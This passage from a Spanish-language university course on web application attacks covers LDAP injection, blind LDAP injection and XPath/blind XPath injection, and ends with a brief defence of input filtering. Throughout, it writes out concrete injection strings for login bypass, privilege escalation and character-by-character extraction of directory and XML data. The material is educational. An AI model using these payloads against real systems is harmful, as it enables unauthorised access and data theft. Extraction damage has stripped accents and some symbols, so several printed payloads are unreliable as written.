        • 112 Meacutetodos para introducir XSS (cross site scripting)
        • 113 Diseccionando un ataque
        • 114 Filtros XSS
          • 12 Cross Site Request Forgery (CSRF)
          • 13 Clickjacking
            • 2 Ataques de inyeccioacuten de coacutedigo
              • 21 LDAP Injection
                • 211 LDAP Injection con ADAM de Microsoft
                • 212 LDAP Injection con OpenLDAP
                • 213 Conclusiones
                • 214 ldquoORrdquo LDAP Injection
                • 215 ldquoANDrdquo LDAP Injection
                  • 22 Blind LDAP Injection
                    • 221 Blind LDAP Injection en un entorno ldquoANDrdquo
                    • 222 Reconocimiento de clases de objetos de un aacuterbol LDAP
                    • 223 Blind LDAP Injection en un entorno ldquoORrdquo
                    • 224 Ejemplos Blind LDAP Injection
                      • 23 XPath
                        • 231 XPath injection y Blind XPath Injection
                        • 232 iquestCoacutemo protegerse de teacutecnicas de XPath Injection
                            • 3 Ataques de Path Transversal
                              • 31 Path Disclosure
                                • 4 Ataques de inyeccioacuten de ficheros
                                  • 41 Remote file inclusion
                                  • 42 Local file inclusion
                                  • 43 Webtrojans
                                    • 5 Google Hacking
                                    • 6 Seguridad por ocultacioacuten
                                      • 61 Descompiladores de applets web
                                        • 611 Flash
                                        • 612 Java
                                        • 613 NET
                                            • Bibliografiacutea
Page 33: Ataques a Aplicaciones Web

CC-BY-NC-ND bull PID_00191662 33 Ataques a aplicaciones web

Figura 19 Inyeccioacuten OpenLDAP Se ignora el segundo filtro

Como puede apreciarse en la figura 19 el servidor OpenLDAP ha ignorado

el segundo filtro y solo ha devuelto un usuario de igual forma que realizaba

ADAM

213 Conclusiones

Tras realizar estas pruebas podemos extraer las siguientes conclusiones

bull Para realizar una inyeccioacuten de coacutedigo LDAP en una aplicacioacuten que trabaje

contra ADAM u OpenLDAP es necesario que el filtro original es decir el

del programador tenga un operador OR o AND A partir de este punto se

pueden realizar inyecciones de coacutedigo que permitan extraer informacioacuten

o realizar ataques blind es decir a ciegas

bull Es necesario que la consulta generada tras la inyeccioacuten esteacute correctamente

anidada en un uacutenico par de pareacutentesis general o bien que el componente

permita la ejecucioacuten con informacioacuten que no se va a utilizar a la derecha

del filtro

bull La inyeccioacuten que queda compuesta seguacuten el documento de Sacha Faust

puede ser vista de dos formas diferentes una primera en la que seriacutea vista

como un uacutenico filtro con un operador y otra en la que se interpretaraacute co-

mo la concatenacioacuten de dos filtros En el primer caso tendriacuteamos un filtro

mal compuesto Por otro lado si la inyeccioacuten se ve como dos filtros es-

tariacuteamos hablando de un comportamiento particular de algunos motores

LDAP (que no comparten con OpenLDAP ni con ADAM) y ademaacutes con

un segundo filtro con un operador el operador OR innecesario

CC-BY-NC-ND bull PID_00191662 34 Ataques a aplicaciones web

A partir de este punto vamos a analizar diferentes tipos de inyecciones LDAP

que pueden suponer un riesgo de seguridad en los sistemas LDAP que esteacuten

siendo accedidos por aplicaciones web ldquoORrdquo LDAP Injection ldquoANDrdquo LDAP In-

jection y Blind LDAP Injection

214 ldquoORrdquo LDAP Injection

En este entorno nos encontrariacuteamos con que el programador ha creado una

consulta LDAP con un operador OR y uno o los dos paraacutemetros son solicitados

al usuario

(|(atributo1=valor1)(atributo2=valor2))

Supongamos en el ejemplo del aacuterbol LDAP que tenemos una consulta inyec-

table del siguiente tipo (|(cn=D)(ou=Groups)) Es decir que devuelve to-

dos los objetos cuyo valor en ldquocnrdquo comience por ldquoDrdquo o cuyo valor en ldquoourdquo sea

ldquoGroupsrdquo Al ejecutarla obtenemos

Figura 20 Consulta OR sin inyeccioacuten

Si esta consulta sufriera una inyeccioacuten de coacutedigo en el primer paraacutemetro po-

driacuteamos realizar una consulta que nos devolviera la lista de usuarios almace-

nados Para ello realizamos la inyeccioacuten en el primer valor de la siguiente ca-

dena void)(uid=))(|(uid=

CC-BY-NC-ND bull PID_00191662 35 Ataques a aplicaciones web

Figura 21 Lista de usuarios obtenida tras la inyeccioacuten

Al formarse la consulta LDAP esta quedaraacute construida de la siguiente forma (|

(cn=void)(uid=))(|(uid=)(ou=Groups)) permitiendo obtener la lis-

ta de todos los usuarios del aacuterbol LDAP

Otro ejemplo de esta teacutecnica es la siguiente aplicacioacuten de gestioacuten interna en

este caso tenemos un aplicativo que lanza una consulta LDAP del siguiente

tipo

(|(type=outputDevices)(type=printer))

Figura 22 Listado de impresoras y dispositivos de salida

Si el paraacutemetro type que va por GET en la URL es inyectable un atacante podriacutea

modificar el filtro de consulta LDAP con una inyeccioacuten del siguiente tipo

CC-BY-NC-ND bull PID_00191662 36 Ataques a aplicaciones web

(|(type=outputDevices)(type=printer)(uid=))(|(type=void))

Con esa inyeccioacuten el atacante obtendriacutea en este ejemplo la lista de todos los

usuarios como se puede ver en la figura 23

Figura 23 Acceso al listado de usuarios mediante OR LDAP Injection

215 ldquoANDrdquo LDAP Injection

En el caso de inyecciones en consultas LDAP que lleven el operador AND el

atacante estaacute obligado a utilizar como valor en el primer atributo algo vaacutelido

pero se pueden utilizar las inyecciones para mediatizar los resultados y por

ejemplo realizar escaladas de privilegios En este caso nos encontrariacuteamos con

una consulta del siguiente tipo

(amp(atributo1=valor1)(atributo2=valor2))

Supongamos un entorno en el que se muestra la lista de todos los documentos

a los que un usuario con pocos privilegios tiene acceso mediante una consulta

que incluye el directorio de documentos en un paraacutemetro inyectable Es decir

la consulta original es

(amp(directorio=nombre_directorio)(nivel_seguridad=bajo))

Un atacante podriacutea construir una inyeccioacuten del siguiente modo para poder

acceder a los documentos de nivel de seguridad alto

(amp(directorio=almacen)(nivel_seguridad=alto))(|(directorio=almacen)(nivel_seguridad=bajo))

Para conseguir este resultado se habraacute inyectado en el nombre del directorio

la siguiente cadena

almacen)(nivel_seguridad=alto))(|(directorio=almacen

CC-BY-NC-ND bull PID_00191662 37 Ataques a aplicaciones web

Un ejemplo de este ataque se puede ver en la siguiente aplicacioacuten En primer

lugar se va a realizar un acceso no autorizado a la aplicacioacuten web utilizando

una inyeccioacuten que evite la comprobacioacuten de la contrasentildea La aplicacioacuten lanza

una consulta LDAP del tipo

(amp(uid=valor_de_user)(password=valor_de_password)

El atacante inyectando la cadena slisberger)(amp)) en el valor del USER

obtendriacutea una consulta LDAP que siempre devolveriacutea al usuario slisberger

y por lo tanto conseguiriacutea el acceso a la aplicacioacuten

Figura 24 Acceso no autorizado mediante AND LDAP Injection

Y como se puede ver en la figura 25 el usuario consigue acceso al directorio

privado del usuario slisberger En este caso se ha utilizado el filtro (amp)

que es el equivalente al valor TRUE en los filtros LDAP

Figura 25 Directorio home del usuario

Como se puede ver en este caso el usuario ha accedido con privilegios de nivel

bajo y en la aplicacioacuten de mostrar documentos que se describioacute al principio

de este apartado solo tendriacutea acceso a los documentos de nivel bajo como se

puede ver en la figura 26

CC-BY-NC-ND bull PID_00191662 38 Ataques a aplicaciones web

Figura 26 Listado de documentos de nivel bajo

La consulta que se estaacute ejecutando es

(amp(directory=nombre_directorio)(level=low))

El valor de level lo estaacute cogiendo la aplicacioacuten de las variables de sesioacuten del

servidor sin embargo un atacante podriacutea inyectar en el nombre del directorio

el siguiente comando Documents)(level=High) De esta forma el coman-

do que se ejecutariacutea seriacutea

(amp(directory=Documents)(level=High))(level=low))

Permitiendo al atacante acceder a todos los documentos Se ha producido una

elevacioacuten de privilegios

CC-BY-NC-ND bull PID_00191662 39 Ataques a aplicaciones web

Figura 27 Elevacioacuten de privilegios mediante AND LDAP Injection

22 Blind LDAP Injection

Una de las evoluciones de las inyecciones de comandos son las acciones a

ciegas los ataques ldquoblindrdquo Es comuacuten encontrarse ya documentados los ataques

Blind SQL Injection pero de los ataques Blind LDAP Injection sin embargo no

se ha hablado nada Tambieacuten es posible realizar un ataque a ciegas para extraer

informacioacuten de un aacuterbol LDAP

El entorno para realizar un ataque a ciegas suele ser una aplicacioacuten web que

cumple dos caracteriacutesticas

bull La aplicacioacuten no muestra los resultados obtenidos de la consulta realizada

al aacuterbol LDAP

bull El uso de los resultados produce cambios en la respuesta http que el cliente

recibe

Para realizar un ataque a ciegas necesitamos poder crear la loacutegica para extraer

informacioacuten cambiando los resultados obtenidos con el filtro LDAP y obser-

vando los cambios en las respuestas http

CC-BY-NC-ND bull PID_00191662 40 Ataques a aplicaciones web

221 Blind LDAP Injection en un entorno ldquoANDrdquo

En esta situacioacuten tenemos una consulta generada en el lado del servidor del

siguiente tipo

(amp(atributo1=valor1)(atributo2=valor2))

Para realizar la inyeccioacuten debemos tener en cuenta que en un entorno AND

tenemos un paraacutemetro fijo que nos va a condicionar El entorno ideal es que el

atributo1 sea lo maacutes general posible por ejemplo objectClass o cn con lo

que podremos seleccionar casi cualquier objeto del aacuterbol Despueacutes deberemos

aplicarle un valor que sea true es decir que siempre seleccione objetos para

tenerlo fijado a valor true y utilizar como segundo atributo uno conocido que

tambieacuten nos garantice que sea true

Supongamos la siguiente consulta LDAP

(amp(objectClass=Impresoras)(impresoraTipo=Epson))

Que se lanza para saber si en el almaceacuten de una empresa hay impresoras Epson

de tal manera que el programador si recibe alguacuten objeto simplemente pinta

en la paacutegina web un icono de una impresora Epson

Estaacute claro que lo maacuteximo que conseguiremos tras la inyeccioacuten es ver o no el

icono de la impresora Bien iexclpues a ello Fijemos la respuesta positiva tal y

como hemos dicho realizando una inyeccioacuten del siguiente tipo

(amp(objectClass=)(objectClass=))(amp(objectClass=void)(impresoraTipo=Epson))

Lo que estaacute puesto en negrita seriacutea la inyeccioacuten que introduciriacutea el atacante

Esta inyeccioacuten debe devolver siempre alguacuten objeto en el ejemplo planteado

en la respuesta http veriacuteamos un icono de la impresora A partir de ahiacute podriacutea-

mos extraer los tipos de objectClass que tenemos en nuestro aacuterbol LDAP

222 Reconocimiento de clases de objetos de un aacuterbol LDAP

Sabiendo que el filtro (objectClass=) siempre devuelve alguacuten objeto deberiacutea-

mos centrarnos en el segundo filtro realizando un recorrido de la siguiente

forma

(amp(objectClass=)(objectClass=users))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=personas))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=usuarios))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=logins))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=))(amp(objectClass=foo)(impresoraTipo=Epson))

CC-BY-NC-ND bull PID_00191662 41 Ataques a aplicaciones web

De tal manera que todas aquellas inyecciones que devolvieran el icono de la

impresora en la paacutegina web seriacutean respuestas afirmativas que nos indicariacutean

la existencia de ese tipo de objetos

Otra forma maacutes eficiente seriacutea realizando un barrido en el espectro del alfa-

beto de posibles valores utilizando una buacutesqueda con comodines para ello

realizariacuteamos un aacuterbol que comenzariacutea por todas las letras del abecedario de

la siguiente forma

(amp(objectClass=)(objectClass=a))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=b))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=z))(amp(objectClass=foo)(impresoraTipo=Epson))

De tal manera que seguiriacuteamos desplegando el aacuterbol de aquellas que hubieran

dado una respuesta positiva

(amp(objectClass=)(objectClass=aa))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=ab))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=az))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=ba))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=bb))(amp(objectClass=foo)(impresoraTipo=Epson))

Y asiacute sucesivamente con lo que desplegando siempre las positivas podriacuteamos

llegar a saber el nombre de todos los objetcClass de un sistema

Figura 28 Aacuterbol de despliegue Se profundizaraacute en todas las respuestas positivas (color verde)

Este mecanismo no solo funciona para objectClass sino que seriacutea vaacutelido

para cualquier atributo que un objeto compartiera con el atributo fijo Una

vez sacados los objectClass podriacuteamos proceder a realizar el mismo reco-

CC-BY-NC-ND bull PID_00191662 42 Ataques a aplicaciones web

rrido para extraer la informacioacuten de ellos por ejemplo si queremos extraer los

nombres de todos los usuarios de un sistema bastariacutea con realizar el barrido

con la siguiente inyeccioacuten

(amp(objectClass=user)(uid=a))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=user)(uid=b))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=user)(uid=z))(amp(objectClass=foo)(impresoraTipo=Epson))

Este meacutetodo obliga a hacer un recorrido en amplitud por un aacuterbol cuya posi-

bilidad de expandirse en cada nodo siempre es igual al alfabeto completo Se

puede reducir este alfabeto realizando un recorrido para averiguar queacute carac-

teres no estaacuten siendo utilizados en ninguna posicioacuten en ninguacuten objeto utili-

zando un recorrido de la siguiente forma

(amp(objectClass=user)(uid=a))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=user)(uid=b))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=user)(uid=z))(amp(objectClass=foo)(impresoraTipo=Epson))

De esta forma se pueden excluir del alfabeto aquellos caracteres que no hayan

devuelto un resultado positivo tras este primer recorrido Si deseaacuteramos bus-

car un uacutenico valor podriacuteamos realizar una buacutesqueda binaria de cada uno de

los caracteres utilizando los operadores relacionales lt= o gt= para reducir el

nuacutemero de peticiones

En los atributos que almacenan valores numeacutericos no es posible utilizar el co-

modiacuten para ldquobooleanizarrdquo la informacioacuten almacenada es por tanto necesa-

rio realizar la buacutesqueda de valores utilizando los operadores gt= y lt=

(amp(objectClass=user)(uid=kurt)(edadgt=1)(amp(objectClass=foo)(impresoraTipo=Epson))

223 Blind LDAP Injection en un entorno ldquoORrdquo

En esta situacioacuten tenemos una consulta generada en el lado del servidor del

siguiente tipo

(|(atributo1=valor1)(atributo2=valor2))

En este entorno la loacutegica que debemos utilizar es al contrario En lugar de fijar

el valor del primer filtro a un valor siempre cierto deberemos fijarlo a un valor

siempre falso y a partir de ahiacute extraer la informacioacuten es decir realizariacuteamos

una inyeccioacuten de la siguiente forma

(|(objectClass=void)(objectClass=void))(amp(objectClass=void)(impresoraTipo=Epson))

CC-BY-NC-ND bull PID_00191662 43 Ataques a aplicaciones web

Con esta inyeccioacuten obtendremos el valor negativo de referencia En el ejemplo

planteado de las impresoras disponibles deberemos obtener un resultado sin

el icono de la impresora Luego podremos inferir la informacioacuten cuando sea

verdadero el segundo filtro

(|(objectClass=void)(objectClass=users))(amp(objectClass=void)(impresoraTipo=Epson))

(|(objectClass=void)(objectClass=personas))(amp(objectClass=void)(impresoraTipo=Epson))

(|(objectClass=void)(objectClass=usuarios))(amp(objectClass=void)(impresoraTipo=Epson))

(|(objectClass=void)(objectClass=logins))(amp(objectClass=void)(impresoraTipo=Epson))

(|(objectClass=void)(objectClass=))(amp(objectClass=void)(impresoraTipo=Epson))

De igual forma que en el ejemplo con el operador AND podriacuteamos extraer toda

la informacioacuten del aacuterbol LDAP utilizando los comodines

224 Ejemplos Blind LDAP Injection

Para mostrar la potencia de los ataques Blind LDAP Injection se ha creado

dentro de un aacuterbol LDAP sobre ADAM una estructura con objetos Printer En

la siguiente figura se pueden ver los atributos de un objeto de tipo Printer

Figura 29 Aacuterbol LDAP sobre ADAM Objeto tipo Printer

Sobre este aacuterbol LDAP trabaja una aplicacioacuten web que se conecta entre otros

repositorios a este aacuterbol para obtener informacioacuten En este caso tenemos una

aplicacioacuten programada en php llamada printerstatusphp que recibe co-

mo paraacutemetro el nombre de la impresora y construye una consulta LDAP de

la siguiente forma

(amp(cn=HP Laserjet 2100)(objectclass=printer))

El resultado es una paacutegina web en la que se accede a propiedades de la impre-

sora en concreto

CC-BY-NC-ND bull PID_00191662 44 Ataques a aplicaciones web

Figura 30 Propiedades de la impresora HP LaserJet 2100

El paraacutemetro idprinter se utiliza para construir la consulta LDAP y es vul-

nerable a LDAP Injection sin embargo no se muestra ninguno de los datos de

los objetos que se puedan seleccionar con cualquier consulta ejecutada por

lo que uacutenicamente se puede realizar una explotacioacuten a ciegas Las siguientes

capturas muestran ejemplos de coacutemo extraer informacioacuten del aacuterbol LDAP me-

diante Blind LDAP Injection

1)Fase1descubrimientodeatributos

El atacante inyecta atributos para descubrir si existen o no Cuando el atributo

no existe la consulta LDAP no devuelve ninguacuten objeto y la aplicacioacuten no

muestra datos de ninguna impresora

Hay que tener en cuenta que el comodiacuten vale uacutenicamente para los valores de

tipo alfanumeacutericos luego si el atributo fuera de otro tipo no se podriacutea descubrir

asiacute Para los tipos numeacutericos y de tipo fecha se utilizan los operadores gt= lt=

o = y para los booleanos las constantes true y false

Figura 31 Atributo IPaddress no existe o no tiene valor alfanumeacuterico

En el siguiente ejemplo el atributo distinguisedname existe y ademaacutes es de

tipo alfanumeacuterico ya que funciona perfectamente con el comodiacuten ldquordquo Esto

se puede comprobar porque la paacutegina de resultados ha devuelto datos de la

impresora que se estaba utilizando

CC-BY-NC-ND bull PID_00191662 45 Ataques a aplicaciones web

Figura 32 Atributo distinguisedname existe y tiene valor alfanumeacuterico

Como se puede ver hay diferencias entre las paacuteginas que devuelven datos y las

que no con lo que se puede automatizar la extraccioacuten de toda la informacioacuten

y el descubrimiento de los atributos simplemente comparando los resultados

HTML obtenidos

En la figura 33 se obtiene de nuevo un resultado positivo que confirma la

existencia de un atributo department

Figura 33 Atributo Department existe y tiene valor Unicode extraiacuteble

2)Fase2reduccioacutendelalfabeto

Una de las opciones que se pueden sopesar es realizar una reduccioacuten del al-

fabeto posible de valores en un campo La idea consiste en saber si existe o

no un determinado caraacutecter en un atributo Si el atributo tiene 15 caracteres

de longitud y tenemos que probar por ejemplo 28 letras por 15 caracteres

tendriacutean que realizarse un total de 420 peticiones para extraer la informacioacuten

Sin embargo se puede realizar un recorrido que nos diga si una letra pertene-

ce o no al valor De esa manera realizariacuteamos primero 28 peticiones que nos

dejaraacuten en el peor de los casos una letra distinta por cada posicioacuten es decir

15 letras Luego en el peor de los casos tendriacuteamos 15 letras x 15 posiciones

+ 28 peticiones de reduccioacuten del alfabeto es decir 253 peticiones Ademaacutes se

puede inferir que si una letra ya ha sido utilizada puede que no se vuelva a

utilizar con lo que tendriacuteamos una reduccioacuten auacuten mayor si la letra se utiliza

como uacuteltima opcioacuten dejando la probabilidad en un sumatorio de 115 + 28

es decir 148 peticiones

CC-BY-NC-ND bull PID_00191662 46 Ataques a aplicaciones web

Como conclusioacuten se puede obtener que la reduccioacuten del alfabeto es una buena

opcioacuten a la hora de extraer valores de campos

En los siguientes ejemplos vamos a ver coacutemo averiguar si un caraacutecter pertenece

o no al valor del campo

Figura 34 La letra b no pertenece al valor del atributo department porque no se obtienendatos

Figura 35 La letra n siacute que pertenece al valor del atributo department porque siacute que seobtienen datos

Esta reduccioacuten dejariacutea un conjunto de valores vaacutelidos que pueden emplearse

para extraer el valor del dato mediante un proceso de despliegue

3)Fase3despliegue

En esta fase una vez reducido el alfabeto hay que ordenar las letras obtenidas

para ello comenzaremos un proceso desde la primera posicioacuten

Figura 36 El valor de department no comienza por la letra a porque no se obtienen datos

CC-BY-NC-ND bull PID_00191662 47 Ataques a aplicaciones web

Se iraacuten probando letras hasta que se obtenga un resultado positivo que con-

firme que con ese patroacuten se devuelven datos

Figura 37 El valor de department siacute comienza por la letra f porque siacute se obtienen datos

Una vez descubierta la primera letra esta se mantendraacute fija y se procederaacute a

buscar la segunda letra sustituyendo siempre los caracteres obtenidos en la

fase de reduccioacuten del alfabeto

Figura 38 El valor de department no comienza por las letras fa porque no se obtienen datos

Figura 39 El valor de department siacute que comienza por las letras fi porque siacute que se obtienendatos

Este proceso se repetiriacutea con todos los atributos descubiertos y hasta que se

hubieran descubierto todas las letras permitiendo extraer informacioacuten oculta

de los objetos del aacuterbol LDAP

LDAP es una tecnologiacutea en expansioacuten cuya implantacioacuten en los sistemas de di-

rectorio y metadirectorio la hacen cada diacutea maacutes popular Los entornos intranet

realizan uso intensivo de esta tecnologiacutea para ofrecer sistemas de Single Sing-

On e incluso es comuacuten encontrar entornos LDAP en los servicios de Internet

CC-BY-NC-ND bull PID_00191662 48 Ataques a aplicaciones web

Esta popularidad hace que sea necesario incluir las pruebas anteriores dentro

de los procesos de auditoriacutea de seguridad de las aplicaciones web Las pruebas

de inyecciones de auditoriacutea que se estaban realizando hoy en diacutea siguiendo

la documentacioacuten existente son de poca ayuda pues en los entornos maacutes

comunes como ADAM u OpenLDAP no funcionan

La solucioacuten para proteger las aplicaciones frente a este tipo de inyecciones

consiste como en otros entornos de explotacioacuten en filtrar los paraacutemetros en-

viados desde el cliente En este caso filtrar operadores pareacutentesis y comodines

para que nunca un atacante sea capaz de inyectar loacutegica dentro de nuestra

aplicacioacuten

23 XPath

XPath es un lenguaje que permite la buacutesqueda de informacioacuten en do-

cumentos XML por medio de expresiones especiacuteficas para su estructura

Estaacute pensado para optimizar los tiempos de buacutesqueda haciendo uso de

la organizacioacuten de nodos que poseen los ficheros XML

Como cualquier medio para el almacenamiento y buacutesqueda de datos es posi-

ble implementarlo en aplicaciones web de modo que pueden sustituir a los

SGBD (sistema gestor de base de datos) basados en SQL

231 XPath injection y Blind XPath Injection

XPath Injection es una vulnerabilidad que radica en la modificacioacuten de los

paraacutemetros de buacutesqueda a la hora de formar una query XPath

Una inyeccioacuten XPath sucede cuando se inserta coacutedigo XPath dentro de la sen-

tencia y ejecuta el coacutedigo inyectado dentro del motor de buacutesqueda XML

Este tipo de vulnerabilidades basadas en inyecciones (XPath Injection SQL

Injection LDAP Injection) son fallos de seguridad causados por una mala

programacioacuten de la aplicacioacuten que hace la conexioacuten contra el motor de buacutes-

queda sin importar que la aplicacioacuten sea de escritorio o web

Para conocer coacutemo funciona esta teacutecnica en mayor profundidad vamos a su-

poner un caso praacutectico Tenemos una aplicacioacuten web que hace una conexioacuten

contra un aacuterbol XML con la siguiente estructura

ltxml version=10 encoding=UTF-8gt

ltusuariosgt

ltusuario login=admin password=t1oviv0 nivel=3 gt

ltusuario login=usuario password=miPasswordXml nivel=1 gt

ltusuario login=invitado password=invitado nivel=0 gt

CC-BY-NC-ND bull PID_00191662 49 Ataques a aplicaciones web

ltusuariosgt

La aplicacioacuten web maneja un sistema de autenticacioacuten basado en XML donde

para realizar la autentificacioacuten tiene un formulario en el que solicita un usuario

y un password con los que posteriormente formara una query de XPath con

la siguiente estructura

string xpath = usuariosusuario[login= + usuario + and password= + password + ]

En un entorno seguro esta query de XPath no devolveraacute ninguacuten resultado posi-

tivo a no ser que el usuario y el password correspondan con los establecidos en

el documento XML pero si se trata de un entorno inseguro donde los campos

de entrada (usuario y password) no estaacuten filtrados seriacutea posible realizar una

inyeccioacuten

Si un usuario introdujera en el campo password un valor como abclsquo or

lsquoarsquo=rsquoarsquo or lsquoarsquo=rsquob seriacutea suficiente para saltarse el sistema de login y acceder

a la zona privada ya que el motor de buacutesqueda XML devolveriacutea un resultado

positivo Teniendo en cuenta que primero se evaluacutean los operadores AND y

posteriormente los OR el resultado booleano que tratariacutea el motor de buacutesque-

da seriacutea el que nos muestra el siguiente ejemplo

Figura 40 Evaluacioacuten de los paraacutemetros en XPath

Como hemos visto con este tipo de inyecciones es posible hacer modificacio-

nes en la query para obtener el resultado deseado (truefalse) pero es posible ir

mucho maacutes allaacute y averiguar la estructura del aacuterbol XML con todos sus nodos

atributos y elementos

Realizar este tipo de ataques es posible Se utiliza una variacioacuten de ldquoXPath

Injectionrdquo llamada ldquoBlind XPath Injectionrdquo la cual consiste en averiguar valores

del aacuterbol XML basaacutendose en el resultado booleano que devuelve la aplicacioacuten

vulnerable

Retomando el caso praacutectico anterior supongamos que cuando realizamos login

en la aplicacioacuten (introduciendo abclsquo or lsquoarsquo=rsquoarsquo or lsquoarsquo=rsquob) la aplicacioacuten

devuelve un mensaje de autentificacioacuten donde dice ldquoBienvenidordquo y en caso

de que la query XPath devuelva un resultado negativo (cuando se realiza una

inyeccioacuten que devuelva false) muestre un mensaje donde diga ldquoUsuario yo

password incorrectordquo

CC-BY-NC-ND bull PID_00191662 50 Ataques a aplicaciones web

En este caso nos encontramos claramente ante una aplicacioacuten vulnerable a

Blind XPath Injection pero si aun asiacute queremos estar seguros de que se trata de

un motor XML y no SQL podemos utilizar funciones como count() la

cual devuelve el nuacutemero total de nodos en el aacuterbol que siempre deberiacutea tener

al menos 1 nodo

bull Inyeccioacuten de cadena alsquo or count()gt0 or lsquoarsquo=rsquob

bull Inyeccioacuten numeacuterica 0 or count()gt0 or 1=1

Tambieacuten es posible la utilizacioacuten de operadores OR en mayuacutesculas ya que

estos no son aceptados en buacutesquedas XML y siacute que lo son en buacutesquedas SQL

(estas admiten operadores tanto en minuacutesculas como en mayuacutesculas) de tal

modo que se podriacutea concluir si el motor de buacutesqueda trabaja con XML

bull Motor SQL lsquo OR 1=1 OR lsquorsquo=rsquo

bull Motor SQLXML lsquo or 1=1 or lsquorsquo=rsquo

Si con esta prueba obtenemos un resultado positivo no hay duda de que es un

sistema XML es vulnerable y ademaacutes es posible extraer todo el aacuterbol XML

iquestcoacutemo utilizando teacutecnicas de ldquobooleanizacioacutenrdquo

El primer paso a la hora de empezar un ataque para descargarse el aacuterbol seriacutea

sacar los valores del nodo raiacutez que contiene el resto de los nodos Los pasos

que habriacutea que realizar seriacutean los siguientes

1) Extraer el nombre del nodo

2) Extraer los atributos del nodo

3) Comprobar si es un elemento3 En caso positivo obtener el valor

4) Calcular el nuacutemero de nodos hijos que contiene el nodo que se estaacute anali-

zando

5) Volver a realizar el paso lsquo1rsquo con los nodos extraiacutedos en el paso lsquo4rsquo

Para extraer el nombre del nodo primero seriacutea necesario calcular el nuacutemero de

caracteres del mismo Esto se puede hacer utilizando la funcioacuten string-length

[PATH]childnode()[position()=[NUMNODO] and string-length (name())gt[NUMERO]]

Donde [PATH] seriacutea el nodo a analizar [NUMNODO] el nuacutemero de nodo (ya

que puede haber varios nodos con el mismo nombre dentro del mismo padre)

y [NUMERO] seriacutea la longitud del nombre del nodo De este modo utilizando

fuerza bruta y teacutecnicas de optimizacioacuten como la buacutesqueda binaria seriacutea posi-

ble sacar la longitud del nombre de la siguiente manera

(3)Si el nodo es un elemento nopuede contener subnodos por loque los pasos 4 y 5 no se realiza-riacutean

CC-BY-NC-ND bull PID_00191662 51 Ataques a aplicaciones web

or childnode()[position()=1 and string-length(name())gt20] or 1=1 and =

or childnode()[position()=1 and string-length(name())gt10] or 1=1 and =

or childnode()[position()=1 and string-length(name())gt5] or 1=1 and =

or childnode()[position()=1 and string-length(name())gt7] or 1=1 and =

or childnode()[position()=1 and string-length(name())gt9] or 1=1 and =

or childnode()[position()=1 and string-length(name())=8] or 1=1 and =

Una vez se sabe que la longitud del nodo son ocho caracteres se puede sacar

el nombre del nodo siguiendo el mismo mecanismo teacutecnicas de ldquobooleaniza-

cioacutenrdquo e imaginacioacuten

or childnode()[position()=1 and starts-with(name()a)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()b)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()c)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()u)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()ua)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()ub)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()us)] and =

or childnode()[position()=1 and starts-with(name()usu)] and =

Seriacutea el mismo proceso para cada letra del nombre utilizando un charset de

caracteres y extraer cada caraacutecter desde la posicioacuten 1 hasta la posicioacuten maacutexi-

ma que seriacutea la longitud del nombre extraiacuteda inicialmente

Los pasos para extraer los atributos y elementos seriacutean exactamente los mis-

mos pero variando la consulta XPath con las siguientes plantillas

1) Para extraer informacioacuten referente a los nodos

bull Longitud del nombre

[PATH]childnode()[position()=[NUMNODO] and

string-length(name())gt[NUMERO]]

bull Nombre del nodo

[PATH]childnode()[position()=[NUMNODO] and

starts-with(name()[VALORES])]

bull Nuacutemero de subnodos

count([PATH]childnode())gt[NUMERO]

2) Para extraer la informacioacuten de los atributos

bull Nuacutemero de atributos de un nodo

count([PATH]childnode()[[NUMNODO]])gt[NUMERO]

CC-BY-NC-ND bull PID_00191662 52 Ataques a aplicaciones web

bull Longitud del nombre del atributo

[PATH]childnode()[position()=[NUMNODO]] and

string-length([PATH]childnode()

[[NUMNODO]][position()=[NUMATT] and

string-length(name())gt[NUMERO]])gt0

bull Longitud del valor del atributo

[PATH]childnode()[position()=[NUMNODO]] and

string-length([PATH]childnode()

[[NUMNODO]][position()=[NUMATT]])gt[NUMERO]

bull Nombre del atributo

[PATH]childnode()[position()=[NUMNODO]] and

[PATH]childnode()[[NUMNODO]][position()=[NUMATT] and

starts-with(name()[VALORES])

bull Valor del atributo

[PATH]childnode()[position()=[NUMNODO]] and

starts-with([PATH]childnode()

[[NUMNODO]][position()=[NUMATT]] [VALORES])

3) Para extraer el contenido de un nodo los elementos

bull Longitud del elemento

string-length([PATH]childtext())gt[NUMERO]

bull Valor del elemento

starts-with([PATH]childtext()[VALORES])

Esta teacutecnica puede resultar muy tediosa y lenta si se realiza manualmente pero

para ello ya existen herramientas que hacen este proceso de forma automaacuteti-

ca y ademaacutes utilizan teacutecnicas de optimizacioacuten como reduccioacuten del charset

para encontrar los datos realizando un reducido nuacutemero de consultas

Implementar una reduccioacuten de charset es algo simple basta con hacer una

query por cada caraacutecter y comprobar si ese caraacutecter existe en alguacuten nodo ele-

mento o atributo del aacuterbol En caso negativo se elimina ese caraacutecter del char-

set Esto puede hacerse con la siguientes query

[contains(name() a)] or [contains(name() a)]

or attribute[contains(a)] or contains( a)

Si esta nos devuelve un resultado positivo se mantiene la letra lsquoarsquo en el charset

de letras a probar sin embargo si nos devuelve la paacutegina que hemos asociado

a una peticioacuten falsa podremos eliminar el caraacutecter a del resto de pruebas a

realizar pues ya sabremos que nunca va a aparecer

